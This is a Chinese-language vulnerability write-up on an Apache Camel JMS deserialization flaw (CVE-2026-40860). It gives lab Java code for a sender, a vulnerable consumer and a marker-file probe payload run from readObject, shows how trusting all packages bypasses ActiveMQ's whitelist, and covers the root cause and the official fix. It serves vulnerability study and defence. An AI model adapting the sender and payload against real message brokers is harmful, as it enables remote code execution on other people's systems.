Apache Camel JMS 反序列化(CVE-2026-40860)漏洞分析
字数 3017
更新时间 2026-05-09 11:30:04

Apache Camel JMS 反序列化漏洞(CVE-2026-40860)教学文档

一、漏洞基础认知

1.1 漏洞概述

Apache Camel 是一款专注于系统集成的中间件,核心目标是将不同系统、协议和数据格式通过企业集成模式(EIP,如消息拆分、聚合、动态路由)进行“粘合”。
受影响版本中,JmsBinding.extractBodyFromJms() 方法处理 JMS ObjectMessage 时,直接调用 javax.jms.ObjectMessage.getObject() 获取反序列化对象,但未实施任何安全校验(如 ObjectInputFilter、类允许/拒绝列表)。由于 mapJmsMessage 选项默认启用(true),当 Camel 作为 JMS 消费者时,攻击者可向队列/主题发布恶意 ObjectMessage,若类路径存在反序列化 gadget chain,即可实现远程代码执行(RCE)。

受影响组件

  • camel-sjms2(继承 SjmsEndpoint
  • camel-amqpAMQPJmsBinding 继承 JmsBinding
  • 所有基于 JmsComponent 构建的 JMS 组件(如 camel-activemqcamel-activemq6

1.2 影响版本

Camel 版本范围 状态
< 4.18.2 受影响
< 4.20.0 受影响
< 4.14.7 受影响

二、漏洞环境搭建

漏洞触发依赖 JMS ObjectMessage 反序列化,需搭建 3 个核心组件:消息发送者(sender)消息中间件(broker)Camel 消费端(camel-demo)

2.1 组件 1:消息发送者(sender)

功能:构造并发送恶意 ObjectMessage 到 JMS 队列。

关键代码示例(Java)

package lab.sender;

import jakarta.jms.Connection;
import jakarta.jms.MessageProducer;
import jakarta.jms.ObjectMessage;
import jakarta.jms.Queue;
import jakarta.jms.Session;
import lab.payload.ProbePayload;
import org.apache.activemq.ActiveMQConnectionFactory;

public final class SenderMain {
    // 默认 Broker 地址(ActiveMQ 经典版)
    private static final String DEFAULT_BROKER_URL = "tcp://localhost:61616";
    // 默认队列名
    private static final String DEFAULT_QUEUE_NAME = "camel.lab.object";

    public static void main(String[] args) throws Exception {
        // 从系统属性获取配置(支持自定义)
        String brokerUrl = System.getProperty("broker.url", DEFAULT_BROKER_URL);
        String queueName = System.getProperty("queue.name", DEFAULT_QUEUE_NAME);
        String message = System.getProperty("probe.message", "hello-from-sender");

        // 创建 ActiveMQ 连接工厂(需开启信任所有包,绕过默认白名单)
        ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);
        connectionFactory.setTrustAllPackages(true); // 关键:允许反序列化任意包

        // 发送 ObjectMessage
        try (Connection connection = connectionFactory.createConnection()) {
            connection.start();
            try (Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE)) {
                Queue queue = session.createQueue(queueName);
                MessageProducer producer = session.createProducer(queue);

                // 构造恶意 payload(ProbePayload 为自定义反序列化类)
                ProbePayload payload = new ProbePayload(message);
                ObjectMessage objectMessage = session.createObjectMessage(payload);

                producer.send(objectMessage);
                System.out.println("[Sender] 已发送 ObjectMessage 到队列:" + queueName);
            }
        }
    }
}

2.2 组件 2:消息中间件(broker)

选用 ActiveMQ Classic 5.19.2(Docker 部署),负责接收 sender 消息并转发给 Camel。

Docker Compose 配置

services:
  activemq:
    image: apache/activemq-classic:5.19.2
    container_name: camel-lab-activemq
    ports:
      - "61616:61616"  # JMS 通信端口
      - "8161:8161"    # Web 管理界面端口

注意

  • ActiveMQ Classic 存在默认反序列化白名单,需通过 connectionFactory.setTrustAllPackages(true) 绕过(sender 和 Camel 端均需设置);
  • 若使用 ActiveMQ Artemis、IBM MQ 等无默认白名单的 broker,无需额外配置。

2.3 组件 3:Camel 消费端(camel-demo)

功能:作为 JMS 消费者接收消息,触发漏洞。

关键代码示例(Java)

package lab.camel;

import java.nio.file.Path;
import java.util.concurrent.CountDownLatch;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.component.jms.JmsComponent;
import org.apache.camel.impl.DefaultCamelContext;

public final class ConsumerMain {
    private static final String DEFAULT_BROKER_URL = "tcp://localhost:61616";
    private static final String DEFAULT_QUEUE_NAME = "camel.lab.object";

    public static void main(String[] args) throws Exception {
        // 从系统属性获取配置
        String brokerUrl = System.getProperty("broker.url", DEFAULT_BROKER_URL);
        String queueName = System.getProperty("queue.name", DEFAULT_QUEUE_NAME);
        String markerFile = System.getProperty(
            "probe.marker",
            Path.of("target", "probe-hit.txt").toAbsolutePath().toString()
        );

        // 创建 ActiveMQ 连接工厂(同样需信任所有包)
        ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl);
        connectionFactory.setTrustAllPackages(true);

        // 配置 Camel JMS 组件(启用 mapJmsMessage,默认值)
        JmsComponent jmsComponent = JmsComponent.jmsComponentAutoAcknowledge(connectionFactory);
        jmsComponent.setMapJmsMessage(true); // 关键:默认启用,触发漏洞

        // 启动 Camel 上下文并添加路由
        DefaultCamelContext context = new DefaultCamelContext();
        context.addComponent("jms", jmsComponent);
        context.addRoutes(new RouteBuilder() {
            @Override
            public void configure() {
                // 从队列消费消息(触发反序列化)
                from("jms:" + queueName)
                    .process(exchange -> {
                        // 处理消息(此处会触发 ObjectMessage 反序列化)
                        System.out.println("收到消息:" + exchange.getIn().getBody());
                    });
            }
        });

        context.start();
        new CountDownLatch(1).await(); // 阻塞主线程,保持 Camel 运行
    }
}

2.4 恶意 Payload(ProbePayload)

自定义反序列化类,模拟攻击者 payload(实际攻击中可替换为 gadget chain)。

关键代码示例(Java)

package lab.payload;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardOpenOption;
import java.time.Instant;

public final class ProbePayload implements Serializable {
    private static final long serialVersionUID = 1L;
    private final String message;

    public ProbePayload(String message) {
        this.message = message;
    }

    // 反序列化时执行的恶意逻辑(创建文件并写入内容)
    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
        inputStream.defaultReadObject(); // 必须调用,否则反序列化失败

        // 从系统属性获取标记文件路径
        String markerFile = System.getProperty("probe.marker", "probe-hit.txt");
        Path markerPath = Path.of(markerFile).toAbsolutePath();
        Path parent = markerPath.getParent();
        if (parent != null) {
            Files.createDirectories(parent); // 创建父目录
        }

        // 写入反序列化结果(验证漏洞触发)
        Files.writeString(
            markerPath,
            Instant.now() + " deserialized payload message=" + message + System.lineSeparator(),
            StandardOpenOption.CREATE,
            StandardOpenOption.APPEND
        );

        System.out.println("[ProbePayload] readObject 执行成功,标记文件:" + markerPath);
    }

    @Override
    public String toString() {
        return "ProbePayload{message='" + message + "'}";
    }
}

三、漏洞复现步骤

3.1 前置准备

  1. 启动 ActiveMQ:docker-compose up -d
  2. 编译 sender、camel-demo、payload 模块(确保依赖 Camel 受影响版本,如 4.18.1)。

3.2 执行流程

  1. 启动 Camel 消费端:运行 ConsumerMain,等待接收消息;
  2. 发送恶意消息:运行 SenderMain,向队列 camel.lab.object 发送 ObjectMessage
  3. 验证漏洞触发
    • 调试时在 javax.jms.ObjectMessage.getObject() 处打断点,可观察到反序列化流程;
    • 检查 probe-hit.txt 文件,若生成且包含 deserialized payload message=hello-from-sender,说明漏洞成功触发。

四、漏洞原理深度分析

4.1 漏洞触发点

漏洞根源在 JmsBinding.extractBodyFromJms() 方法,其核心逻辑如下:

// JmsBinding 类中处理 ObjectMessage 的代码
if (message instanceof ObjectMessage) {
    ObjectMessage objectMessage = (ObjectMessage) message;
    Object payload = objectMessage.getObject(); // 直接调用 getObject(),未校验
    return payload;
}

4.2 反序列化流程

  1. Camel 消费 JMS 消息后,调用 JmsBinding.extractBodyFromJms()
  2. 方法识别到 ObjectMessage,调用 objectMessage.getObject()
  3. 最终进入 ActiveMQObjectMessage.getObject(),其内部调用 deserialize() 方法;
  4. deserialize() 创建 ClassLoadingAwareObjectInputStream 并执行 readObject(),完成恶意对象的反序列化。

4.3 关键绕过点

ActiveMQ 的 ClassLoadingAwareObjectInputStream 有两个关键配置:

objIn.setTrustedPackages(this.trustedPackages); // 白名单包
objIn.setTrustAllPackages(this.trustAllPackages); // 信任所有包

若通过 connectionFactory.setTrustAllPackages(true) 开启信任所有包,则白名单校验失效,恶意类可直接反序列化。

五、官方修复方案

5.1 修复逻辑

官方在 JmsBinding.extractBodyFromJms() 中添加 checkDeserializedClass(payload) 校验,核心逻辑:

Object payload = objectMessage.getObject();
this.checkDeserializedClass(payload); // 新增:检查反序列化后的类
return payload;

5.2 修复效果

  • 若反序列化后的类不在白名单checkDeserializedClass() 直接抛出异常,阻止恶意对象进入 Camel 路由;
  • 默认兜底白名单包含 Camel 核心类(如 java.lang.Stringjava.util.Map),避免误拦截正常消息。

5.3 局限性说明

该修复仅拦截恶意对象进入 Camel 路由,无法替代 JVM/Provider 级别的反序列化过滤(如 ObjectInputFilter)。因为 Camel 无法直接修改 ActiveMQ 内部的 ClassLoadingAwareObjectInputStream 配置,需结合以下措施:

  • 在 JVM 启动时设置 -Djdk.serialFilter 全局过滤;
  • 在 ActiveMQ 中配置 trustedPackages 白名单(而非 trustAllPackages=true)。

六、参考资源

  1. 阿里云漏洞详情:AVD-2026-40860
  2. Apache Camel 官方公告:CVE-2026-40860

七、注意事项

  1. 实验环境需使用受影响版本的 Camel(如 4.18.1),修复版本(≥4.18.2、≥4.20.0、≥4.14.7)无法复现;
  2. 生产环境中禁止开启 trustAllPackages=true,需严格配置 JMS 反序列化白名单;
  3. 建议结合 JVM ObjectInputFilter 和组件级白名单,实现多层防御。
相似文章
相似文章
 全屏